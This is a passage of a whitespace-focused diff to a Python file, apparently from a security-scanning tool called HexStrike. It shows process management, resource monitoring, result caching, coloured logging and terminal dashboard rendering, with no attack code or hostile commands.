+5207,7 @@ class AdvancedCache: class EnhancedProcessManager: """Advanced process management with intelligent resource allocation""" - + def __init__(self): self.process_pool = ProcessPool(min_workers=4, max_workers=32) self.cache = AdvancedCache(max_size=2000, default_ttl=1800) # 30 minutes default TTL @@ -5215,11 +5215,11 @@ class EnhancedProcessManager: self.process_registry = {} self.registry_lock = threading.RLock() self.performance_dashboard = PerformanceDashboard() - + # Process termination and recovery self.termination_handlers = {} self.recovery_strategies = {} - + # Auto-scaling configuration self.auto_scaling_enabled = True self.resource_thresholds = { @@ -5228,22 +5228,22 @@ class EnhancedProcessManager: "disk_high": 95.0, "load_high": 0.8 } - + # Start background monitoring self.monitor_thread = threading.Thread(target=self._monitor_system, daemon=True) self.monitor_thread.start() - + def execute_command_async(self, command: str, context: Dict[str, Any] = None) -> str: """Execute command asynchronously using process pool""" task_id = f"cmd_{int(time.time() * 1000)}_{hash(command) % 10000}" - + # Check cache first cache_key = f"cmd_result_{hash(command)}" cached_result = self.cache.get(cache_key) if cached_result and context and context.get("use_cache", True): logger.info(f"๐Ÿ“‹ Using cached result for command: {command[:50]}...") return cached_result - + # Submit to process pool self.process_pool.submit_task( task_id, @@ -5251,23 +5251,23 @@ class EnhancedProcessManager: command, context or {} ) - + return task_id - + def _execute_command_internal(self, command: str, context: Dict[str, Any]) -> Dict[str, Any]: """Internal command execution with enhanced monitoring""" start_time = time.time() - + try: # Resource-aware execution resource_usage = self.resource_monitor.get_current_usage() - + # Adjust command based on resource availability if resource_usage["cpu_percent"] > self.resource_thresholds["cpu_high"]: # Add nice priority for CPU-intensive commands if not command.startswith("nice"): command = f"nice -n 10 {command}" - + # Execute command process = subprocess.Popen( command, @@ -5277,7 +5277,7 @@ class EnhancedProcessManager: text=True, preexec_fn=os.setsid if os.name != 'nt' else None ) - + # Register process with self.registry_lock: self.process_registry[process.pid] = { @@ -5287,11 +5287,11 @@ class EnhancedProcessManager: "context": context, "status": "running" } - + # Monitor process execution stdout, stderr = process.communicate() execution_time = time.time() - start_time - + result = { "success": process.returncode == 0, "stdout": stdout, @@ -5301,18 +5301,18 @@ class EnhancedProcessManager: "pid": process.pid, "resource_usage": self.resource_monitor.get_process_usage(process.pid) } - + # Cache successful results if result["success"] and context.get("cache_result", True): cache_key = f"cmd_result_{hash(command)}" cache_ttl = context.get("cache_ttl", 1800) # 30 minutes default self.cache.set(cache_key, result, cache_ttl) - + # Update performance metrics self.performance_dashboard.record_execution(command, result) - + return result - + except Exception as e: execution_time = time.time() - start_time error_result = { @@ -5323,33 +5323,33 @@ class EnhancedProcessManager: "execution_time": execution_time, "error": str(e) } - + self.performance_dashboard.record_execution(command, error_result) return error_result - + finally: # Cleanup process registry with self.registry_lock: if hasattr(process, 'pid') and process.pid in self.process_registry: del self.process_registry[process.pid] - + def get_task_result(self, task_id: str) -> Dict[str, Any]: """Get result of async task""" return self.process_pool.get_task_result(task_id) - + def terminate_process_gracefully(self, pid: int, timeout: int = 30) -> bool: """Terminate process with graceful degradation""" try: with self.registry_lock: if pid not in self.process_registry: return False - + process_info = self.process_registry[pid] process = process_info["process"] - + # Try graceful termination first process.terminate() - + # Wait for graceful termination try: process.wait(timeout=timeout) @@ -5362,52 +5362,52 @@ class EnhancedProcessManager: process_info["status"] = "force_killed" logger.warning(f"โš ๏ธ Process {pid} force killed after timeout") return True - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error terminating process {pid}: {str(e)}") return False - + def _monitor_system(self): """Monitor system resources and auto-scale""" while True: try: time.sleep(15) # Monitor every 15 seconds - + # Get current resource usage resource_usage = self.resource_monitor.get_current_usage() - + # Auto-scaling based on resource usage if self.auto_scaling_enabled: self._auto_scale_based_on_resources(resource_usage) - + # Update performance dashboard self.performance_dashboard.update_system_metrics(resource_usage) - + except Exception as e: logger.error(f"๐Ÿ’ฅ System monitoring error: {str(e)}") - + def _auto_scale_based_on_resources(self, resource_usage: Dict[str, float]): """Auto-scale process pool based on resource usage""" pool_stats = self.process_pool.get_pool_stats() current_workers = pool_stats["active_workers"] - + # Scale down if resources are constrained if (resource_usage["cpu_percent"] > self.resource_thresholds["cpu_high"] or resource_usage["memory_percent"] > self.resource_thresholds["memory_high"]): - + if current_workers > self.process_pool.min_workers: self.process_pool._scale_down(1) logger.info(f"๐Ÿ“‰ Auto-scaled down due to high resource usage: CPU {resource_usage['cpu_percent']:.1f}%, Memory {resource_usage['memory_percent']:.1f}%") - + # Scale up if resources are available and there's demand - elif (resource_usage["cpu_percent"] < 60 and + elif (resource_usage["cpu_percent"] < 60 and resource_usage["memory_percent"] < 70 and pool_stats["queue_size"] > 2): - + if current_workers < self.process_pool.max_workers: self.process_pool._scale_up(1) logger.info(f"๐Ÿ“ˆ Auto-scaled up due to available resources and demand") - + def get_comprehensive_stats(self) -> Dict[str, Any]: """Get comprehensive system and process statistics""" return { @@ -5422,12 +5422,12 @@ class EnhancedProcessManager: class ResourceMonitor: """Advanced resource monitoring with historical tracking""" - + def __init__(self, history_size=100): self.history_size = history_size self.usage_history = [] self.history_lock = threading.Lock() - + def get_current_usage(self) -> Dict[str, float]: """Get current system resource usage""" try: @@ -5435,7 +5435,7 @@ class ResourceMonitor: memory = psutil.virtual_memory() disk = psutil.disk_usage('/') network = psutil.net_io_counters() - + usage = { "cpu_percent": cpu_percent, "memory_percent": memory.percent, @@ -5446,15 +5446,15 @@ class ResourceMonitor: "network_bytes_recv": network.bytes_recv, "timestamp": time.time() } - + # Add to history with self.history_lock: self.usage_history.append(usage) if len(self.usage_history) > self.history_size: self.usage_history.pop(0) - + return usage - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting resource usage: {str(e)}") return { @@ -5467,7 +5467,7 @@ class ResourceMonitor: "network_bytes_recv": 0, "timestamp": time.time() } - + def get_process_usage(self, pid: int) -> Dict[str, Any]: """Get resource usage for specific process""" try: @@ -5481,18 +5481,18 @@ class ResourceMonitor: } except (psutil.NoSuchProcess, psutil.AccessDenied): return {} - + def get_usage_trends(self) -> Dict[str, Any]: """Get resource usage trends""" with self.history_lock: if len(self.usage_history) < 2: return {} - + recent = self.usage_history[-10:] # Last 10 measurements - + cpu_trend = sum(u["cpu_percent"] for u in recent) / len(recent) memory_trend = sum(u["memory_percent"] for u in recent) / len(recent) - + return { "cpu_avg_10": cpu_trend, "memory_avg_10": memory_trend, @@ -5502,13 +5502,13 @@ class ResourceMonitor: class PerformanceDashboard: """Real-time performance monitoring dashboard""" - + def __init__(self): self.execution_history = [] self.system_metrics = [] self.dashboard_lock = threading.Lock() self.max_history = 1000 - + def record_execution(self, command: str, result: Dict[str, Any]): """Record command execution for performance tracking""" with self.dashboard_lock: @@ -5519,30 +5519,30 @@ class PerformanceDashboard: "return_code": result.get("return_code", -1), "timestamp": time.time() } - + self.execution_history.append(execution_record) if len(self.execution_history) > self.max_history: self.execution_history.pop(0) - + def update_system_metrics(self, metrics: Dict[str, Any]): """Update system metrics for dashboard""" with self.dashboard_lock: self.system_metrics.append(metrics) if len(self.system_metrics) > self.max_history: self.system_metrics.pop(0) - + def get_summary(self) -> Dict[str, Any]: """Get performance summary""" with self.dashboard_lock: if not self.execution_history: return {"executions": 0} - + recent_executions = self.execution_history[-100:] # Last 100 executions - + total_executions = len(recent_executions) successful_executions = sum(1 for e in recent_executions if e["success"]) avg_execution_time = sum(e["execution_time"] for e in recent_executions) / total_executions - + return { "total_executions": len(self.execution_history), "recent_executions": total_executions, @@ -5575,7 +5575,7 @@ process_lock = threading.Lock() class ProcessManager: """Enhanced process manager for command termination and monitoring""" - + @staticmethod def register_process(pid, command, process_obj): """Register a new active process""" @@ -5591,7 +5591,7 @@ class ProcessManager: "bytes_processed": 0 } logger.info(f"๐Ÿ†” REGISTERED: Process {pid} - {command[:50]}...") - + @staticmethod def update_process_progress(pid, progress, last_output="", bytes_processed=0): """Update process progress and stats""" @@ -5601,15 +5601,15 @@ class ProcessManager: active_processes[pid]["last_output"] = last_output active_processes[pid]["bytes_processed"] = bytes_processed runtime = time.time() - active_processes[pid]["start_time"] - + # Calculate ETA if progress > 0 eta = 0 if progress > 0: eta = (runtime / progress) * (1.0 - progress) - + active_processes[pid]["runtime"] = runtime active_processes[pid]["eta"] = eta - + @staticmethod def terminate_process(pid): """Terminate a specific process""" @@ -5623,7 +5623,7 @@ class ProcessManager: time.sleep(1) # Give it a chance to terminate gracefully if process_obj.poll() is None: process_obj.kill() # Force kill if still running - + active_processes[pid]["status"] = "terminated" logger.warning(f"๐Ÿ›‘ TERMINATED: Process {pid} - {process_info['command'][:50]}...") return True @@ -5631,7 +5631,7 @@ class ProcessManager: logger.error(f"๐Ÿ’ฅ Error terminating process {pid}: {str(e)}") return False return False - + @staticmethod def cleanup_process(pid): """Remove process from active registry""" @@ -5641,19 +5641,19 @@ class ProcessManager: logger.info(f"๐Ÿงน CLEANUP: Process {pid} removed from registry") return process_info return None - + @staticmethod def get_process_status(pid): """Get status of a specific process""" with process_lock: return active_processes.get(pid, None) - + @staticmethod def list_active_processes(): """List all active processes""" with process_lock: return dict(active_processes) - + @staticmethod def pause_process(pid): """Pause a specific process (SIGSTOP)""" @@ -5669,7 +5669,7 @@ class ProcessManager: except Exception as e: logger.error(f"๐Ÿ’ฅ Error pausing process {pid}: {str(e)}") return False - + @staticmethod def resume_process(pid): """Resume a paused process (SIGCONT)""" @@ -5694,7 +5694,7 @@ class ProcessManager: BG_MAGENTA = '\033[45m' BG_CYAN = '\033[46m' BG_WHITE = '\033[47m' - + # Text effects DIM = '\033[2m' UNDERLINE = '\033[4m' @@ -5704,11 +5704,11 @@ class ProcessManager: class PythonEnvironmentManager: """Manage Python virtual environments and dependencies""" - + def __init__(self, base_dir: str = "/tmp/hexstrike_envs"): self.base_dir = Path(base_dir) self.base_dir.mkdir(exist_ok=True) - + def create_venv(self, env_name: str) -> Path: """Create a new virtual environment""" env_path = self.base_dir / env_name @@ -5716,14 +5716,14 @@ class PythonEnvironmentManager: logger.info(f"๐Ÿ Creating virtual environment: {env_name}") venv.create(env_path, with_pip=True) return env_path - + def install_package(self, env_name: str, package: str) -> bool: """Install a package in the specified environment""" env_path = self.create_venv(env_name) pip_path = env_path / "bin" / "pip" - + try: - result = subprocess.run([str(pip_path), "install", package], + result = subprocess.run([str(pip_path), "install", package], capture_output=True, text=True, timeout=300) if result.returncode == 0: logger.info(f"๐Ÿ“ฆ Installed package {package} in {env_name}") @@ -5734,7 +5734,7 @@ class PythonEnvironmentManager: except Exception as e: logger.error(f"๐Ÿ’ฅ Error installing package {package}: {e}") return False - + def get_python_path(self, env_name: str) -> str: """Get Python executable path for environment""" env_path = self.create_venv(env_name) @@ -5749,29 +5749,29 @@ env_manager = PythonEnvironmentManager() class CVEIntelligenceManager: """Advanced CVE Intelligence and Vulnerability Management System""" - + def __init__(self): self.cve_cache = {} self.vulnerability_db = {} self.threat_intelligence = {} - + @staticmethod def create_banner(): """Reuse unified ModernVisualEngine banner (legacy hook).""" return ModernVisualEngine.create_banner() - + @staticmethod - def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber', + def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber', label: str = "", eta: float = 0, speed: str = "") -> str: """Render a beautiful progress bar with multiple styles""" - + # Clamp progress between 0 and 1 progress = max(0.0, min(1.0, progress)) - + # Calculate filled and empty portions filled_width = int(width * progress) empty_width = width - filled_width - + # Style-specific rendering if style == 'cyber': filled_char = 'โ–ˆ'; empty_char = 'โ–‘' @@ -5789,47 +5789,47 @@ class CVEIntelligenceManager: filled_char = 'โ–ˆ'; empty_char = 'โ–‘' bar_color = ModernVisualEngine.COLORS['ACCENT_LINE'] progress_color = ModernVisualEngine.COLORS['PRIMARY_BORDER'] - + # Build the progress bar filled_part = bar_color + filled_char * filled_width empty_part = ModernVisualEngine.COLORS['TERMINAL_GRAY'] + empty_char * empty_width percentage = f"{progress * 100:.1f}%" - + # Add ETA and speed if provided eta_str = f" | ETA: {eta:.0f}s" if eta > 0 else "" speed_str = f" | {speed}" if speed else "" - + # Construct the full progress bar bar = f"{progress_color}[{filled_part}{empty_part}{ModernVisualEngine.COLORS['RESET']}{progress_color}] {percentage}{eta_str}{speed_str}{ModernVisualEngine.COLORS['RESET']}" - + if label: return f"{ModernVisualEngine.COLORS['BOLD']}{label}{ModernVisualEngine.COLORS['RESET']} {bar}" return bar - + @staticmethod def render_vulnerability_card(vuln_data: Dict[str, Any]) -> str: """Render vulnerability as a beautiful card with severity indicators""" - + severity = vuln_data.get('severity', 'info').lower() title = vuln_data.get('title', 'Unknown Vulnerability') url = vuln_data.get('url', 'N/A') description = vuln_data.get('description', 'No description available') cvss = vuln_data.get('cvss_score', 0.0) - + # Get severity color severity_color = ModernVisualEngine.COLORS['HACKER_RED'] if severity == 'critical' else ModernVisualEngine.COLORS['HACKER_RED'] if severity == 'high' else ModernVisualEngine.COLORS['CYBER_ORANGE'] if severity == 'medium' else ModernVisualEngine.COLORS['CYBER_ORANGE'] if severity == 'low' else ModernVisualEngine.COLORS['NEON_BLUE'] - + # Severity indicators severity_indicators = { 'critical': '๐Ÿ”ฅ CRITICAL', 'high': 'โš ๏ธ HIGH', - 'medium': '๐Ÿ“Š MEDIUM', + 'medium': '๐Ÿ“Š MEDIUM', 'low': '๐Ÿ“ LOW', 'info': 'โ„น๏ธ INFO' } - + severity_badge = severity_indicators.get(severity, 'โ“ UNKNOWN') - + # Create the vulnerability card card = f""" {ModernVisualEngine.COLORS['BOLD']}โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ{ModernVisualEngine.COLORS['RESET']} @@ -5842,27 +5842,27 @@ class CVEIntelligenceManager: {ModernVisualEngine.COLORS['BOLD']}โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ{ModernVisualEngine.COLORS['RESET']} """ return card - + @staticmethod def create_live_dashboard(processes: Dict[int, Dict[str, Any]]) -> str: """Create a live dashboard showing all active processes""" - + if not processes: return f"{ModernVisualEngine.COLORS['TERMINAL_GRAY']}๐Ÿ“Š No active processes{ModernVisualEngine.COLORS['RESET']}" - + dashboard = f""" {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— โ•‘ ๐Ÿš€ LIVE PROCESS DASHBOARD โ•‘ โ• โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ{ModernVisualEngine.COLORS['RESET']} """ - + for pid, proc_info in processes.items(): command = proc_info.get('command', 'Unknown')[:50] status = proc_info.get('status', 'unknown') progress = proc_info.get('progress', 0.0) runtime = proc_info.get('runtime', 0) eta = proc_info.get('eta', 0) - + # Status color coding status_colors = { 'running': ModernVisualEngine.COLORS['MATRIX_GREEN'], @@ -5871,39 +5871,39 @@ class CVEIntelligenceManager: 'completed': ModernVisualEngine.COLORS['NEON_BLUE'] } status_color = status_colors.get(status, ModernVisualEngine.COLORS['BRIGHT_WHITE']) - + # Create mini progress bar mini_bar = ModernVisualEngine.render_progress_bar( progress, width=20, style='cyber', eta=eta ) - + dashboard += f"""{ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['NEON_BLUE']}PID {pid}{ModernVisualEngine.COLORS['RESET']} โ”‚ {status_color}{status.upper()}{ModernVisualEngine.COLORS['RESET']} โ”‚ {runtime:.1f}s โ”‚ {command}... {ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {mini_bar} {ModernVisualEngine.COLORS['BOLD']}โ• โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฃ{ModernVisualEngine.COLORS['RESET']} """ - + dashboard += f"{ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•{ModernVisualEngine.COLORS['RESET']}" - + return dashboard - + @staticmethod def format_tool_output(tool: str, output: str, success: bool = True) -> str: """Format tool output with syntax highlighting and structure""" - + # Get tool icon tool_icon = '๐Ÿ› ๏ธ' # Default tool icon - + # Status indicator status_icon = "โœ…" if success else "โŒ" status_color = ModernVisualEngine.COLORS['MATRIX_GREEN'] if success else ModernVisualEngine.COLORS['HACKER_RED'] - + # Format the output with structure formatted_output = f""" {ModernVisualEngine.COLORS['BOLD']}โ•ญโ”€ {tool_icon} {tool.upper()} OUTPUT โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['BOLD']}โ”‚{ModernVisualEngine.COLORS['RESET']} {status_color}{status_icon} Status: {'SUCCESS' if success else 'FAILED'}{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['BOLD']}โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค{ModernVisualEngine.COLORS['RESET']} """ - + # Process output lines with syntax highlighting lines = output.split('\n') for line in lines[:20]: # Limit to first 20 lines for readability @@ -5917,24 +5917,24 @@ class CVEIntelligenceManager: formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}โ”‚{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['WARNING']}{line[:75]}{ModernVisualEngine.COLORS['RESET']}\n" else: formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}โ”‚{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{line[:75]}{ModernVisualEngine.COLORS['RESET']}\n" - + if len(lines) > 20: formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}โ”‚{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['TERMINAL_GRAY']}... ({len(lines) - 20} more lines truncated){ModernVisualEngine.COLORS['RESET']}\n" - + formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ{ModernVisualEngine.COLORS['RESET']}" - + return formatted_output - + @staticmethod def create_summary_report(results: Dict[str, Any]) -> str: """Generate a beautiful summary report""" - + total_vulns = len(results.get('vulnerabilities', [])) critical_vulns = len([v for v in results.get('vulnerabilities', []) if v.get('severity') == 'critical']) high_vulns = len([v for v in results.get('vulnerabilities', []) if v.get('severity') == 'high']) execution_time = results.get('execution_time', 0) tools_used = results.get('tools_used', []) - + report = f""" {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— โ•‘ ๐Ÿ“Š SCAN SUMMARY REPORT โ•‘ @@ -5944,7 +5944,7 @@ class CVEIntelligenceManager: {ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['WARNING']}๐Ÿ› ๏ธ Tools Used:{ModernVisualEngine.COLORS['RESET']} {len(tools_used)} tools {ModernVisualEngine.COLORS['BOLD']}โ• โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฃ{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['HACKER_RED']}๐Ÿ”ฅ Critical:{ModernVisualEngine.COLORS['RESET']} {critical_vulns} vulnerabilities -{ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['ERROR']}โš ๏ธ High:{ModernVisualEngine.COLORS['RESET']} {high_vulns} vulnerabilities +{ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['ERROR']}โš ๏ธ High:{ModernVisualEngine.COLORS['RESET']} {high_vulns} vulnerabilities {ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['MATRIX_GREEN']}๐Ÿ“ˆ Total Found:{ModernVisualEngine.COLORS['RESET']} {total_vulns} vulnerabilities {ModernVisualEngine.COLORS['BOLD']}โ• โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฃ{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['BOLD']}โ•‘{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['ELECTRIC_PURPLE']}๐Ÿš€ Tools:{ModernVisualEngine.COLORS['RESET']} {', '.join(tools_used[:5])}{'...' if len(tools_used) > 5 else ''} @@ -5955,7 +5955,7 @@ class CVEIntelligenceManager: # Configure enhanced logging with colors class ColoredFormatter(logging.Formatter): """Custom formatter with colors and emojis""" - + COLORS = { 'DEBUG': ModernVisualEngine.COLORS['DEBUG'], 'INFO': ModernVisualEngine.COLORS['SUCCESS'], @@ -5963,7 +5963,7 @@ class ColoredFormatter(logging.Formatter): 'ERROR': ModernVisualEngine.COLORS['ERROR'], 'CRITICAL': ModernVisualEngine.COLORS['CRITICAL'] } - + EMOJIS = { 'DEBUG': '๐Ÿ”', 'INFO': 'โœ…', @@ -5971,11 +5971,11 @@ class ColoredFormatter(logging.Formatter): 'ERROR': 'โŒ', 'CRITICAL': '๐Ÿ”ฅ' } - + def format(self, record): emoji = self.EMOJIS.get(record.levelname, '๐Ÿ“') color = self.COLORS.get(record.levelname, ModernVisualEngine.COLORS['BRIGHT_WHITE']) - + # Add color and emoji to the message record.msg = f"{color}{emoji} {record.msg}{ModernVisualEngine.COLORS['RESET']}" return super().format(record) @@ -5985,11 +5985,11 @@ def setup_logging(): """Setup enhanced logging with colors and formatting""" logger = logging.getLogger() logger.setLevel(logging.INFO) - + # Clear existing handlers for handler in logger.handlers[:]: logger.removeHandler(handler) - + # Console handler with colors console_handler = logging.StreamHandler(sys.stdout) console_handler.setFormatter(ColoredFormatter( @@ -5997,7 +5997,7 @@ def setup_logging(): datefmt="%Y-%m-%d %H:%M:%S" )) logger.addHandler(console_handler) - + return logger # Configuration (using existing API_PORT from top of file) @@ -6008,26 +6008,26 @@ CACHE_TTL = 3600 # 1 hour class HexStrikeCache: """Advanced caching system for command results""" - + def __init__(self, max_size: int = CACHE_SIZE, ttl: int = CACHE_TTL): self.cache = OrderedDict() self.max_size = max_size self.ttl = ttl self.stats = {"hits": 0, "misses": 0, "evictions": 0} - + def _generate_key(self, command: str, params: Dict[str, Any]) -> str: """Generate cache key from command and parameters""" key_data = f"{command}:{json.dumps(params, sort_keys=True)}" return hashlib.md5(key_data.encode()).hexdigest() - + def _is_expired(self, timestamp: float) -> bool: """Check if cache entry is expired""" return time.time() - timestamp > self.ttl - + def get(self, command: str, params: Dict[str, Any]) -> Optional[Dict[str, Any]]: """Get cached result if available and not expired""" key = self._generate_key(command, params) - + if key in self.cache: timestamp, data = self.cache[key] if not self._is_expired(timestamp): @@ -6039,29 +6039,29 @@ class HexStrikeCache: else: # Remove expired entry del self.cache[key] - + self.stats["misses"] += 1 logger.info(f"๐Ÿ” Cache MISS for command: {command}") return None - + def set(self, command: str, params: Dict[str, Any], result: Dict[str, Any]): """Store result in cache""" key = self._generate_key(command, params) - + # Remove oldest entries if cache is full while len(self.cache) >= self.max_size: oldest_key = next(iter(self.cache)) del self.cache[oldest_key] self.stats["evictions"] += 1 - + self.cache[key] = (time.time(), result) logger.info(f"๐Ÿ’พ Cached result for command: {command}") - + def get_stats(self) -> Dict[str, Any]: """Get cache statistics""" total_requests = self.stats["hits"] + self.stats["misses"] hit_rate = (self.stats["hits"] / total_requests * 100) if total_requests > 0 else 0 - + return { "size": len(self.cache), "max_size": self.max_size, @@ -6076,7 +6076,7 @@ cache = HexStrikeCache() class TelemetryCollector: """Collect and manage system telemetry""" - + def __init__(self): self.stats = { "commands_executed": 0, @@ -6085,7 +6085,7 @@ class TelemetryCollector: "total_execution_time": 0.0, "start_time": time.time() } - + def record_execution(self, success: 